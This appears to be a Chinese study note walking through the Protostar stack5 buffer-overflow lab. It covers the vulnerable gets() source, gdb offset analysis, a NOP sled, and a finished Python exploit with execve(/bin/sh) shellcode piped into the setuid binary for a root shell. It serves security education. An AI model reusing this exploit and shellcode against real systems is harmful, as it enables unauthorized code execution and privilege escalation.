0x0A_缓冲区溢出_shellcode
stack5_源代码分析
-
Hints(提示)
- At this point in time, it might be easier to use someone elses shellcode
- 使用别人写好的 shellcode 会让漏洞利用更简单
- If debugging the shellcode, use \xcc(int3) to stop the program executing and return to the debugger
- 如果需要调试 shellcode,请使用操作码
\xcc
,即 int3 来停止程序执行并返回调试器
- 如果需要调试 shellcode,请使用操作码
- remove the int3s once your shellcode is done
- shellcode 执行结束后及时删除 int3 操作码
- At this point in time, it might be easier to use someone elses shellcode
-
源码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
- 源码分析
- 程序只有一个
gets
函数接收参数,这允许我们覆盖栈上的数据 - 目的:从程序中拿到 root shell
- 程序只有一个
gdb 分析
一、初步分析
- gdb 初步调试
set disassembly-flavor intel disassemble main break *0x080483da # 找到 ret 指令所在地址打断点 define hook-stop x/1i $eip # 查看当前要执行的指令 x/8wx $esp # 查看当前栈中 8 个内存单元的内容 end r # 继续执行 ASD # 随便输入一些内容 # 到达断点,查看刚刚定义的要查看的内容 si # 下一条指令,进入函数调用
- gdb 初步调试结果
- 当执行 ret 时,将跳转到栈之前的地址
- 使用字母表覆盖栈,找到能够覆盖 ret 的偏移位置
- 生成字母表,然后将输出保存到
/tmp/exp
文件中print ''.join([chr(i)*4 for i in range(ord('A'),ord('Z')+1)])
- 在 gdb 中输入 exp。可以看到,ret 指令要执行的地址已经被
0x54545454
覆盖 - 继续使用
si
执行,尝试返回0x54545454
,会得到一个 Segmentation Fault - 使用
x/s $esp
查看从栈顶位置开始的字符串,可以看出 ret 之后的栈已经被从T
(0x54) 开始的字符串覆盖了,ret 之前的缓冲区则被T
之前的字符所覆盖
- 生成字母表,然后将输出保存到
二、注入 shellcode
- 现在我们知道如何篡改 eip 中的值,从而使得程序能够跳转到我们想要的地址,只需要将字母表中
T
的位置换成想要跳转的地址 - 那么应该让 eip 跳转到哪里呢?很显然,需要跳转到控制数据的栈,在那里存放我们添加的漏洞利用代码。我们可以选择 ret 指令执行之后的 esp的地址,这个地址离溢出数据入口的起始位置不会太远,方便构造溢出数据
- 查看这个位置,在 gdb 中运行:
r # 重新运行 si # 下一条指令 info registers
- 得到想要的地址
- 编写漏洞利用代码
import struct padding = ''.join([chr(i)*4 for i in range(ord('A'), ord('T'))]) eip = struct.pack("I", 0xbffff7b0) payload = '\xCC'*4 # 这里使用提示中推荐的 INT3 print padding + eip + payload
- INT 3 指令是一个特殊的单字节操作码(
\xCC
),用于调用调试异常处理程序 - 实际上,gdb 等调试程序就是利用了这个指令实现断点功能。
- 例如在 ret 指令处创建了一个断点,实际上 gdb 做的事情是用 INT 3 替换了内存中的返回指令
- 当 CPU 到达此指令时,引发了异常,造成了硬件层面的中断
- 如果想继续执行正常的指令,只需要用原来的指令替换掉 INT 3 即可
- 一般的应用程序不会使用 INT 3 指令,因此恶意软件会不断扫描自己程序中的 INT 3 操作码,如果找到它,它就会知道有人附加了调试器并尝试设置断点
- INT 3 指令是一个特殊的单字节操作码(
- 在 gdb 中执行
- 可以看到,程序接收到了一个中断信号
- 这证明了汇编程序的注入和执行
- 接下来不使用 gdb,直接执行 python 程序将输出结果输入到 stack5 中,这时会出现报错:Illegal Instruction(但是我在实验的时候并没有出现报错而是正常执行了)
- (原来的 gdb 调试窗口不要关)在另一个窗口(
/tmp
路径下)执行gdb /opt/protostar/bin/stack5
按照刚才的步骤操作,会发现 ret 要返回的地址不同(注意是 ret 存储的地址,而不是 ret 本身的地址) - 想要探明 ret 地址不同的原因,可以打印整个栈进行分析
- 打印 1000 条信息:
x/1000s $esp
- 往下翻,会看到环境变量相关信息
- 这是由于 PWD 的长度不同,一个执行环境需要更多的空间来存储它,从而进一步推动栈地址
- 因此,在特定环境下分析得到的返回地址并不准确,有可能与实际运行时真正的返回地址不同
- 打印 1000 条信息:
- 要解决环境变量带来的栈地址不确定的问题,有两种解决方法
- 在执行程序之前清除所有环境变量
- 使用 NOP 指令(No Operation,
\x90
)- 也就是告诉 CPU 什么也不做,然后跳到下一条指令。有了这一段 NOP 的填充,只要返回地址能够命中这一段中的任意位置,都可以无副作用(No Side Effects)地跳转到 shellcode 的起始处。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。
- 重新构造漏洞利用代码
import struct padding = ''.join([chr(i)*4 for i in range(ord('A'), ord('T'))]) eip = struct.pack("I", 0xbffff7b0) payload = '\x90'*100 + '\xCC'*4 print padding + eip + payload
- 执行成功
- 执行成功
- 在shell-storm上找一段 shellcode,替换
\xCC
import struct padding = ''.join([chr(i)*4 for i in range(ord('A'), ord('T'))]) eip = struct.pack("I", 0xbffff7b0) # 执行 /bin/sh shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' payload = '\x90'*100 + shellcode print padding + eip + payload
- 执行:
# exp.py 程序首先执行,运行一个 shell # cat 将接管这个 shell,我们可以通过 cat 将输入转发到 shell (python /tmp/exp.py ; cat) | /opt/protostar/bin/stack5
疑问
- 在 stack5 路径下执行程序就会报错:
Floating point exception
和Illegal instruction
参考资料
- GDB命令基础
- 这一篇推荐全文阅读,排版很好,讲得也很详细
- GDB最常用的命令
- 栈溢出(上)
- Linux/x86 - execve(/bin/sh) - 28 bytes by Jean Pascal Pereira
- Buffer Overflow Examples, Code execution by shellcode injection - protostar stack5
- 这一篇博客针对的程序也是 stack5,不过作者提出了一个与 liveoverflow 略不同的利用方案